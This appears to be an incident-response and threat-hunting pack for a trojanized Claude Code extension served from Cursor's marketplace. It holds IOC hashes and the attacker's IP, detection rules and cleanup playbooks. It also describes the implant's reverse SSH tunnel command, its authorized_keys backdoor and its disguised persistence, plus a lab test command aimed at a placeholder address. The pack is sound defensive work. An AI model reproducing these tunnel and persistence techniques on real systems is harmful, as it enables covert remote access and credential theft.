DETECT-CursorExt-ReverseSSHTunnel | Promote Q1 | Process creation, image name ssh or autossh, command line matching -R with *:0:localhost:22 | Sanctioned bastion tunnels and IT service accounts | Custom IOA (process creation), severity High, action Detect only. Start with the wildcard -R branch alone; add the autossh branch after baselining |
DETECT-CursorExt-DroppedArtifactExecution | Promote Q5 | Process creation whose command line names .config with .smt/.smtk, smt.cmd, sysmon.cmd or .stk_ plus ten hex digits | None known | Custom IOA (process creation), severity High, action Detect only |
DETECT-CursorExt-AttackerServerConnection | Promote Q2 | Network connection to 134.209.82.225 | Address reassignment over time | Custom IOA (network connection), severity Medium, action Detect only; expire with the indicator |
Do not promote Q3, Q4, Q6, Q7 or Q8. They fire on legitimate administration, Remote-SSH sessions or shared folder names. Run them as hunts and baseline first.
SentinelOne: custom detection rules
| Rule | Source query | Run as | Notes |
|---|---|---|---|
| DETECT-CursorExt-ReverseSSHTunnel | Q1, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written |
| DETECT-CursorExt-DroppedArtifactExecution | Q5, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written |
| DETECT-CursorExt-AttackerServerConnection | Q2, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written |
Create the rule with POST /web/api/v2.1/cloud-detection/rules, queryType: "scheduled" and queryLang: "2.0", with the query in data.scheduledParams.query. Use 2.0 operator spellings: a rule written with the 1.0 token ContainsCIS was accepted and never fired on a tenant. The API does not warn, so lint the body before deploying.
Microsoft Defender: custom detection rules
| Rule | Source query | Run as | Notes |
|---|---|---|---|
| DETECT-CursorExt-ReverseSSHTunnel | Q1, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself. This pack's own text mentions a baseline or pilot; follow it as written |
| DETECT-CursorExt-DroppedArtifactExecution | Q5, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself. This pack's own text mentions a baseline or pilot; follow it as written |
| DETECT-CursorExt-AttackerServerConnection | Q2, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself. This pack's own text mentions a baseline or pilot; follow it as written |
Q3, Q4, Q6, Q7 and Q8 stay a hunt in this pack, not a rule. A rule can generate only 150 alerts per run. Continuous (NRT) frequency needs a single table and no comment lines, so delete the generated comment header from the query first.
Machine-Readable IOC Appendix
Grouped quick-copy blocks. Of the nine importable atomic indicators, one is prevent and eight are detect. The only prevent row is the malicious extension.js SHA-256, which three independent sources publish. VSIX hashes trace to Cursor's notice alone (StepSecurity repeats them "per Cursor"), the smt.cmd hash to StepSecurity alone, and the tunnel-key hash is a key file and not an executable, so all ship detect. The attacker address is detect, not prevent: the server is offline and the address belongs to a cloud provider. Falcon IOC Management matches files it scans or executes; a script bundle that is only read by Node.js may never trigger a file-hash IOC, so the behavioral queries are the primary control.
type,value,action,severity,expiration,description,tags sha256,ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15,prevent,critical,2027-10-31,malicious extension.js of trojanized anthropic.claude-code (Cursor; StepSecurity; Microsoft),campaign:Cursor-ClaudeCode-Extension ipv4,134.209.82.225,detect,high,2027-04-30,reverse SSH tunnel and HTTP beacon server; offline per Cursor,campaign:Cursor-ClaudeCode-Extension sha256,fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364,detect,high,2027-04-30,malicious VSIX 2.1.312 darwin-arm64 (Cursor),campaign:Cursor-ClaudeCode-Extension sha256,3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081,detect,high,2027-04-30,malicious VSIX 2.1.312 win32-x64 (Cursor),campaign:Cursor-ClaudeCode-Extension sha256,80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c,detect,high,2027-04-30,malicious VSIX 2.1.313 darwin-arm64 (Cursor),campaign:Cursor-ClaudeCode-Extension sha256,6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731,detect,high,2027-04-30,malicious VSIX 2.1.313 win32-x64 (Cursor),campaign:Cursor-ClaudeCode-Extension md5,f49bcd657ef1e626e85ce858958c1769,detect,high,2027-04-30,malicious extension.js (Cursor; StepSecurity),campaign:Cursor-ClaudeCode-Extension sha256,22f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0,detect,medium,2027-04-30,dropped Windows smt.cmd persistence script (StepSecurity only),campaign:Cursor-ClaudeCode-Extension sha256,7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278,detect,medium,2027-04-30,decoded tunnel private key file written as .stk_ plus ten hex (StepSecurity; Microsoft),campaign:Cursor-ClaudeCode-Extension
indicatorType,indicatorValue,action,title,description,expirationTime,severity,recommendedActions,rbacGroups,category,mitretechniques,GenerateAlert FileSha256,ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15,Block,malicious extension.js of trojanized anthropic.claude-code,malicious extension.js of trojanized anthropic.claude-code (Cursor; StepSecurity; Microsoft),2027-10-31T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True IpAddress,134.209.82.225,Audit,reverse SSH tunnel and HTTP beacon server; offline per Curso,reverse SSH tunnel and HTTP beacon server; offline per Cursor,2027-04-30T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True FileSha256,fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364,Audit,malicious VSIX 2.1.312 darwin-arm64,malicious VSIX 2.1.312 darwin-arm64 (Cursor),2027-04-30T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True FileSha256,3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081,Audit,malicious VSIX 2.1.312 win32-x64,malicious VSIX 2.1.312 win32-x64 (Cursor),2027-04-30T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True FileSha256,80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c,Audit,malicious VSIX 2.1.313 darwin-arm64,malicious VSIX 2.1.313 darwin-arm64 (Cursor),2027-04-30T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True FileSha256,6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731,Audit,malicious VSIX 2.1.313 win32-x64,malicious VSIX 2.1.313 win32-x64 (Cursor),2027-04-30T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True FileSha256,22f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0,Audit,dropped Windows smt.cmd persistence script,dropped Windows smt.cmd persistence script (StepSecurity only),2027-04-30T00:00:00.0Z,Medium,Investigate the device and pivot into the pack's queries,,,,True FileSha256,7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278,Audit,decoded tunnel private key file written as .stk_ plus ten he,decoded tunnel private key file written as .stk_ plus ten hex (StepSecurity; Microsoft),2027-04-30T00:00:00.0Z,Medium,Investigate the device and pivot into the pack's queries,,,,True
Column names and allowed values are from Microsoft's documented parameter table. Left out because this block maps only SHA-1, SHA-256, IPv4, domain and URL indicators: md5 1. Prevent rows import as Block, without remediation; network indicators cannot use BlockAndRemediate. Check each expirationTime before importing: an indicator whose date has passed is already expired. Download the sample CSV from the Import page to confirm the column order before a bulk import. Each file takes at most 500 indicators. Learn describes the import per entity type, so if a mixed file is rejected, split it by indicatorType. An imported indicator does nothing unless the matching Advanced features are on (for example Custom network indicators and Allow or block file).
This pack does not ship a SentinelOne import block: the import format could not be verified against SentinelOne's own documentation. Export a sample from your console and the block can be added with confidence.
# Behavioral signatures (the combination is the signal; each tool alone is legitimate)
SSH key comment : svc-telemetry
SSH key fingerprint : SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk (authorized key)
Tunnel key fingerprint : SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ (dropped as .stk_ + 10 hex)
Tunnel : ssh -N -R '*:0:localhost:22' as user tunnel on TCP 22
autossh : autossh -M 0
SSH options : StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null, ServerAliveInterval=30,
ServerAliveCountMax=3, ExitOnForwardFailure=yes, IdentitiesOnly=yes
Windows persistence : schtasks /create /tn SysMon (SYSTEM requested); Startup\sysmon.cmd fallback
macOS persistence : LaunchAgent com.apple.sysmond (RunAtLoad, KeepAlive)
Linux persistence : user crontab @reboot /bin/sh "<HOME>/.config/.smt"
SSH enablement : systemsetup -setremotelogin on (macOS)
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 (Windows)
Beacon : HTTP POST to port 8099, path /beacon (external and 127.0.0.1)
Retry cadence : tunnel retried about every 60 seconds
Trojanized bundle test : extension.js contains 134.209.82.225 and svc-telemetry
# macOS and Linux ~/.ssh/authorized_keys (entry labelled svc-telemetry) ~/.config/.smt ~/.config/.smtk $TMPDIR/.stk_<10 hex> (macOS) /tmp/.stk_<10 hex> (Linux) ~/Library/LaunchAgents/com.apple.sysmond.plist # Windows %USERPROFILE%\.ssh\authorized_keys C:\ProgramData\ssh\administrators_authorized_keys %USERPROFILE%\.config\smt.cmd %USERPROFILE%\.config\smtk %TEMP%\.stk_<10 hex> %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd # Extension folders (exposure, not compromise) anthropic.claude-code-2.1.312-* (darwin-arm64, win32-x64 from Cursor's marketplace) anthropic.claude-code-2.1.313-* (darwin-arm64, win32-x64)
# Who was exposed? (window 2026-10-29 09:27 to 20:35 UTC; Cursor's marketplace only) [ ] Hosts where Cursor installed or auto-updated anthropic.claude-code 2.1.312 or 2.1.313 [ ] Installs from Open VSX or the Microsoft Marketplace are NOT in scope (2.1.313 never published there) [ ] Installed version now 2.1.314 or later # Was the implant planted? [ ] svc-telemetry present in authorized_keys (Sections 7.1, 7.2) [ ] SysMon task, sysmon.cmd, com.apple.sysmond.plist, crontab @reboot .smt present (Section 7.4) [ ] Tunnel process running (Section 7.5) # What did the host hold? (beacon sent variable NAMES matching KEY, TOKEN, SECRET, PASS, AWS, GCP, not values) [ ] Source-control tokens (GitHub, GitLab) [ ] CI/CD tokens [ ] Cloud keys [ ] SSH keys [ ] Package registry tokens [ ] Rotate from a known-clean machine; review SSH, shell, process and auth logs; rebuild if the tunnel connected
Detection Validation Gates
| Gate | Q1 (tunnel) | Q2 (server IP) | Q3 (persist cmds) | Q4 (Cursor tree) | Q5 (artifacts) | Q6 (Cursor net) | Q7 (SysMon task) | Q8 (folder) |
|---|---|---|---|---|---|---|---|---|
| Telemetry ready | Ready process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | Ready outbound network connection (CrowdStrike: NetworkConnectIP4. SentinelOne: IP Connect. Defender: DeviceNetworkEvents) | Ready process creation with command line | Pending process creation with parent; confirm the parent name Cursor uses on your build | Ready process creation with command line | Pending outbound connection attributed to the Cursor process name | Pending scheduled task registration (CrowdStrike: ScheduledTaskRegistered. SentinelOne: Task Register. Defender: DeviceEvents ScheduledTaskCreated); confirm field population | Pending process creation with image path; fires only if the extension starts a binary |
| Benign baseline | 30 days: list ssh and autossh with -R; expect IT tunnels only | 30 days since 2026-10-29: expect none | Inventory provisioning that enables Remote Login or OpenSSH Server | One week: list Cursor children that run ssh or task tools | 30 days: expect none | List Cursor's TCP 22 and 8099 destinations for two weeks | List every task named SysMon in the fleet | Cross-check against Open VSX installs of 2.1.312 |
| Positive-control test | Not yet run. On a lab host run ssh -N -R '*:0:localhost:22' user@192.0.2.1 (documentation address; it will time out) and confirm the process event | Not yet run. Lab only: do not contact the real server. Use a test rule on a lab address and confirm the network event shape | Not yet run. On a lab Windows host create and delete a harmless task named SysMon with schtasks | Not yet run. From Cursor's integrated terminal on a lab host run a harmless command containing authorized_keys | Not yet run. On a lab host run echo test .config/.smt in a shell | Not yet run. From a lab Cursor, open a connection to a lab listener on TCP 8099 | Not yet run. Create and delete a harmless task named SysMon on a lab host | Not yet run. Launch a harmless binary from a lab folder with the same name pattern |
| Promotion | IOA candidate (Section 9) | IOA candidate (Section 9) | Hunt only | Hunt only | IOA candidate (Section 9) | Hunt only | Hunt only | Hunt only |
Run every positive control in a lab, never on production, and never contact the real attacker address or run the real payload. A zero result from Q1 to Q8 does not clear a host: the key write and in-process reconnaissance are invisible here, so always run the Section 7 file checks on exposed machines.
Hardening: Tiered
1. Remove the trojanized versions and move to 2.1.314 or later. M1051 Update Software, addresses T1195.002. 2.1.314 supersedes both affected versions (StepSecurity, Cursor). Removing the extension alone does not remove the dropped persistence, so pair it with items 2 and 3. Verify: Section 7.3 shows no anthropic.claude-code-2.1.312-* or -2.1.313-* folder.
2. Remove the implant after evidence collection. M1047 Audit, M1018 User Account Management, addresses T1098.004, T1053, T1543.001. Delete the exact svc-telemetry authorized key, the persistence objects and the tunnel processes (Playbooks 1 and 2). Preserve unrelated keys and legitimate remote-development configuration (Microsoft). Verify with the Section 7.1, 7.2 and 7.4 checks.
3. Rotate credentials reachable from exposed hosts, from a known-clean machine. M1027 Password Policies, M1026 Privileged Account Management. Source-control and CI/CD tokens, cloud keys, SSH keys and package registry tokens (StepSecurity). Cursor notes the limited variable collection does not rule out later credential access over a working tunnel.
4. Block the attacker address at egress and search logs. M1037 Filter Network Traffic. Block 134.209.82.225 outbound on TCP 22 and 8099 and search history from 2026-10-29. The server is offline, so this is a tripwire and a scoping aid, not a control.
5. Restrict Cursor to approved extension publishers and add an installation cooldown. M1054 Software Configuration, M1038 Execution Prevention. Microsoft recommends applying Cursor's security-hardening guidance: allow only approved publishers and delay installation of newly published versions. This incident arrived under the legitimate publisher name, so the cooldown is the control that would have helped here; a publisher allowlist alone would not. Confirm the exact setting names in Cursor's enterprise documentation (not fetched for this pack). Flagged best-practice, no formal benchmark.
6. Keep SSH servers off developer workstations unless needed. M1042 Disable or Remove Feature or Program. macOS: Remote Login off (systemsetup -getremotelogin to verify). Windows: OpenSSH Server capability not installed. Cursor reports the attack failed on most hosts precisely because enabling SSH needs administrator rights, so this control converts a persistent foothold into a failed attempt. CIS macOS and Windows benchmarks cover sharing services and optional features.
7. Run the editor without administrator rights. M1026. The loader's SSH enablement failed outside "highly unusual circumstances where Cursor was started with administrator privileges" (Cursor). Verify no developer launches Cursor elevated or as root.
8. Monitor authorized_keys and startup locations for change. M1047 Audit. File-integrity monitoring on ~/.ssh/authorized_keys, C:\ProgramData\ssh\administrators_authorized_keys, user LaunchAgents, user crontabs and the Startup folder closes the largest visibility gap in Section 15. Flagged best-practice, no formal benchmark for developer endpoints.
9. Disable automatic extension updates on managed developer machines. M1051, M1054. Anyone with auto-update enabled could receive the build within the window (OpenSourceMalware, via The Hacker News). Move to staged updates through a ring. Flagged best-practice.
10. Mirror and pin extensions internally. M1051, M1038. Serve a vetted set of extension versions from an internal mirror and verify package hashes on import, so a tampered upstream publish is not auto-consumed. Flagged best-practice, no formal benchmark.
11. Restrict outbound SSH from developer networks. M1037. Allow TCP 22 only to approved hosts; this would have broken the reverse tunnel. Keep exceptions for source-control hosts.
12. Remove long-lived secrets from developer environments. M1027, M1026. Prefer short-lived credentials from a credential helper or secrets manager over environment variables whose names match KEY, TOKEN, SECRET, PASS, AWS or GCP. Even this loader sent names only; a working tunnel exposes values.
13. Inventory editor extensions fleet-wide. M1047. Maintain a per-machine record of installed IDE extensions and versions, so the next marketplace incident is answered in minutes. Section 15 shows this question is currently outside endpoint telemetry.
Deployable Playbooks
Cursor publishes its own remediate-macos.sh and remediate-windows.ps1. They were not fetched or run for this pack. Review any vendor script before use. The steps below are reviewable equivalents limited to the artifacts named in the sources.
Playbook 1: Collect evidence, then remove the implant (macOS and Linux)
Prerequisites: run as the affected user, not root; confirm with Section 7 that the artifacts exist; isolate the host first if the tunnel connected. Reboot required: no. Rollback: restore from the evidence folder created in step 1 (copies of every file touched). The implant itself should not be restored; if the host is rebuilt, discard this step.
set -u
EV="$HOME/svc-telemetry-evidence-$(date +%Y%m%d%H%M)"; mkdir -p "$EV"
# 1. Preserve evidence
cp -p ~/.ssh/authorized_keys "$EV/" 2>/dev/null
cp -p ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt ~/.config/.smtk "$EV/" 2>/dev/null
crontab -l > "$EV/crontab.txt" 2>/dev/null
cp -p "${TMPDIR:-/tmp}"/.stk_* "$EV/" 2>/dev/null
# 2. Stop the tunnel and retry loops
pkill -f '\.stk_' ; pkill -f '\.config/\.smt'
# 3. macOS: unload and remove the LaunchAgent
launchctl bootout "gui/$(id -u)" ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.apple.sysmond.plist
# 4. Remove only the implant cron line, keep other entries
crontab -l 2>/dev/null | grep -v -F '.config/.smt' | crontab -
# 5. Remove only the svc-telemetry key line (confirm the fingerprint first, Section 7.1)
grep -v -F svc-telemetry ~/.ssh/authorized_keys > "$EV/authorized_keys.clean" && cat "$EV/authorized_keys.clean" > ~/.ssh/authorized_keys
# 6. Remove dropped files
rm -f ~/.config/.smt ~/.config/.smtk "${TMPDIR:-/tmp}"/.stk_*
# 7. Verify: expect no output
grep -F svc-telemetry ~/.ssh/authorized_keys; ls ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt 2>/dev/null; ps aux | grep -E "\.stk_|\.smt" | grep -v grep
Playbook 2: Collect evidence, then remove the implant (Windows, elevated PowerShell)
Prerequisites: administrator PowerShell (the SysMon task may have been created as SYSTEM); isolate first if the tunnel connected. Reboot required: no. Rollback: restore files from the evidence folder; do not re-create the SysMon task.
$ev = "$HOME\svc-telemetry-evidence-$(Get-Date -Format yyyyMMddHHmm)"; New-Item -ItemType Directory $ev | Out-Null
# 1. Preserve evidence
foreach ($p in "$HOME\.ssh\authorized_keys","C:\ProgramData\ssh\administrators_authorized_keys","$HOME\.config\smt.cmd","$HOME\.config\smtk","$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd") { if (Test-Path $p) { Copy-Item $p $ev -Force } }
schtasks /query /tn SysMon /xml 2>$null | Out-File "$ev\SysMon-task.xml"
# 2. Stop tunnel and retry processes
Get-CimInstance Win32_Process | Where-Object { $_.ProcessId -ne $PID -and $_.CommandLine -match "\.stk_|smt\.cmd|sysmon\.cmd" } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force }
# 3. Remove persistence
schtasks /delete /tn SysMon /f 2>$null
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd","$HOME\.config\smt.cmd","$HOME\.config\smtk" -Force -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\.stk_*" -Force -ErrorAction SilentlyContinue
# 4. Remove only the svc-telemetry key line from each authorized_keys file
foreach ($f in "$HOME\.ssh\authorized_keys","C:\ProgramData\ssh\administrators_authorized_keys") { if (Test-Path $f) { (Get-Content $f) | Where-Object { $_ -notmatch "svc-telemetry" } | Set-Content $f } }
# 5. Verify: expect no output
schtasks /query /tn SysMon 2>$null; Select-String svc-telemetry "$HOME\.ssh\authorized_keys" -ErrorAction SilentlyContinue
Playbook 3: Turn off Remote Login or OpenSSH Server where it is not needed
Prerequisites: confirm no one depends on inbound SSH to the machine; run elevated. Reboot required: no. Rollback: macOS sudo systemsetup -setremotelogin on; Windows Set-Service sshd -StartupType Automatic; Start-Service sshd.
# macOS: check, then disable
sudo systemsetup -getremotelogin
sudo systemsetup -setremotelogin off
# Windows (elevated PowerShell): check, then stop and disable if present
Get-WindowsCapability -Online -Name "OpenSSH.Server*" | Select-Object Name, State
if (Get-Service sshd -ErrorAction SilentlyContinue) { Stop-Service sshd; Set-Service sshd -StartupType Disabled }
# Optional: remove the capability entirely
# Remove-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Playbook 4: Fleet check for affected extension folders (read-only)
Prerequisites: deploy through your endpoint-management tool, running per user; the folder path is an assumption (Section 7.3), so verify on a pilot machine. Reboot required: no. Rollback: none required, the script only reads.
# macOS / Linux
for u in /Users/* /home/*; do
ls -d "$u"/.cursor/extensions/anthropic.claude-code-2.1.312-* "$u"/.cursor/extensions/anthropic.claude-code-2.1.313-* 2>/dev/null
grep -l -e "134.209.82.225" -e "svc-telemetry" "$u"/.cursor/extensions/anthropic.claude-code-*/extension.js 2>/dev/null
done
# Windows (PowerShell, per user profile)
Get-ChildItem C:\Users -Directory | ForEach-Object {
$e = Join-Path $_.FullName ".cursor\extensions"
Get-ChildItem $e -Directory -Filter "anthropic.claude-code-2.1.31*" -ErrorAction SilentlyContinue
Get-ChildItem "$e\anthropic.claude-code-*\extension.js" -ErrorAction SilentlyContinue | Select-String -Pattern "134.209.82.225","svc-telemetry" -List | Select-Object Path
}
Containment Runbook
| Phase | Actions | Owner | Evidence |
|---|---|---|---|
| Isolate | Scope first: hosts where Cursor installed or updated Claude Code 2.1.312 or 2.1.313 in the window. Isolate any host that shows the key, a persistence object, a tunnel process or contact with the attacker address. Hosts that merely had the extension and show none of these can usually stay online while you clean them. | SOC | Host list with isolation timestamps; Section 7 outputs |
| Isolate: by platform | CrowdStrike: network-contain the host. SentinelOne: network quarantine (Disconnect from Network; confirm the label in your console version). Microsoft Defender: Isolate device (full network isolation). | SOC | Host list with isolation timestamps; Section 7 outputs |
| Preserve | Before cleanup, keep the extension package, the modified authorized_keys, generated keys and scripts, and startup configuration (Microsoft). Playbooks 1 and 2 copy these to an evidence folder. | IR | Evidence folder hashes |
| Eradicate | Stop tunnel and retry processes, remove the exact svc-telemetry key, the persistence objects and the dropped files (Playbooks 1 and 2), then remove the extension and install 2.1.314 or later. Inspect each startup object's configured action before removal; names alone do not prove malice. | Endpoint engineering | Verification output showing no artifacts remain |
| Scope credentials | List what the host could reach: source-control tokens, CI/CD tokens, cloud keys, SSH keys, package registry tokens. Review their audit logs from 2026-10-29 for new addresses and unexpected use. | IR with identity and cloud teams | Credential inventory and audit-log extracts |
| Recover | Rotate credentials and revoke sessions from a known-clean machine. If the tunnel is confirmed to have connected, rebuild the host (StepSecurity): cleaning is not enough after interactive access. Verify the tunnel and startup artifacts do not return after logon or restart. | Identity / Endpoint engineering | Rotation records; post-rebuild scan results |
| Prevent recurrence | Section 12 items 5 to 9; Playbook 3; add Q1, Q2 and Q5 as detect-only IOAs after the Section 11 gates pass. | Security engineering | Control verification output |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | CrowdStrike coverage | SentinelOne | Defender XDR |
|---|---|---|---|---|---|---|
| T1195.002 | Tampered extension installed or auto-updated from the marketplace | Q8 (partial inventory) | n/a | GAP (extension install is outside endpoint telemetry; use inventory or Cursor's check) | GAP: same limit as CrowdStrike | GAP: same limit as CrowdStrike |
| T1059.007 | Node.js loader executes on module load inside the editor process | Q4 (children only) | n/a | GAP (in-process execution is invisible) | GAP: same limit as CrowdStrike | GAP: same limit as CrowdStrike |
| T1082 | Host and credential-variable-name reconnaissance | none | n/a | GAP (in-process reads produce no event) | GAP | GAP |
| T1098.004 | Attacker key appended to authorized_keys | Q4 (only if done by a spawned command) | n/a | GAP (written by the Node.js process; needs file-integrity monitoring or the Section 7 checks) | GAP: same limit as CrowdStrike | GAP: same limit as CrowdStrike |
| T1053.005 | SysMon scheduled task with Startup-folder fallback | Q3, Q5, Q7 | Q5 | Partial (task registration and commands seen; the fallback file write is not) | Partial: Q7 unavailable | Partial: same limit as CrowdStrike |
| T1543.001 | LaunchAgent com.apple.sysmond | Q3, Q5 | Q5 | Partial (load command and script runs seen; the plist write is not) | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike |
| T1053.003 | User crontab @reboot entry running .smt | Q5 | Q5 | Partial (script run seen; the crontab edit arrives on standard input; no confirmed Linux build) | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike |
| T1036.004 | Monitoring-lookalike names | Q3, Q7 | n/a | Partial (name match; legitimate software can reuse the names) | Partial: Q7 unavailable | Partial: same limit as CrowdStrike |
| T1572 | Reverse SSH tunnel with retry loop | Q1, Q2, Q5, Q6 | Q1, Q2, Q5 | Good (process, address and key-file paths, if the sensor is present) | Good, with assumptions | Good, with assumptions |
| T1071.001 | HTTP POST beacon to port 8099 | Q2, Q6 | Q2 | Partial (connection seen, payload not; server offline) | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike |
| T1021.004 | Interactive SSH access through the tunnel | Q1, Q3 | Q1 | GAP (attacker logons are outside endpoint telemetry unless the host runs sshd with logged sessions; use Section 7.6) | GAP: same limit as CrowdStrike | GAP: same limit as CrowdStrike |
Honest gaps. The decisive steps, the loader running, the key being written and the reconnaissance being collected, happen inside the editor process and produce no event used by these queries. A zero result is therefore not clearance: for any host that ran the trojanized build, run the Section 7 file checks. Windows and macOS are the only platforms Cursor confirmed as served, and sensor deployment on developer Macs is often incomplete. Validation gates are in Section 11; none of the positive controls have been run yet.
Hunt Summary Ticket
TITLE: Hunt for the trojanized Claude Code extension served from Cursor's marketplace (exposure, not confirmed compromise)
SEVERITY: High (up to 5,000 Cursor users; reverse-SSH backdoor attempted; failed on most hosts without admin rights)
SCOPE: Developer workstations (Windows, macOS; Linux defensively) that installed or updated
anthropic.claude-code 2.1.312 or 2.1.313 from Cursor's marketplace, 2026-10-29 09:27 to 20:35 UTC
HYPOTHESIS: The loader planted the svc-telemetry key and persistence and attempted a reverse SSH tunnel to
134.209.82.225; uninstalling the extension did not remove them.
QUERIES: Q1-Q8 (Section 8); native checks (Section 7)
DO FIRST: 1) Check authorized_keys for svc-telemetry on exposed hosts (Sections 7.1, 7.2).
2) Check for SysMon, sysmon.cmd, com.apple.sysmond.plist, crontab @reboot .smt and .stk_ files.
3) Preserve evidence, run Playbooks 1 and 2, update to 2.1.314 or later, rotate credentials.
FINDINGS: [fill in after execution]
GAPS: Extension installs, in-process reconnaissance and the key write are outside endpoint telemetry;
the attacker server is offline so network hits are retrospective; Linux build not confirmed.
ACTIONS: Promote Q1/Q2/Q5 to detect-only Custom IOA after the Section 11 gates pass. Deploy Section 12 items 5 to 9.
OWNER: HuntPack
VERSION: v0.1 -- 2026-10-31
Changelog
References
All six sources are saved verbatim to Cursor-Marketplace-ClaudeCode-Backdoor-Hunt-sources/ for provenance re-verification. Cursor's hardening guidance and the MITRE mitigation pages were not fetched; they are cited as control references only and no indicator or campaign claim depends on them.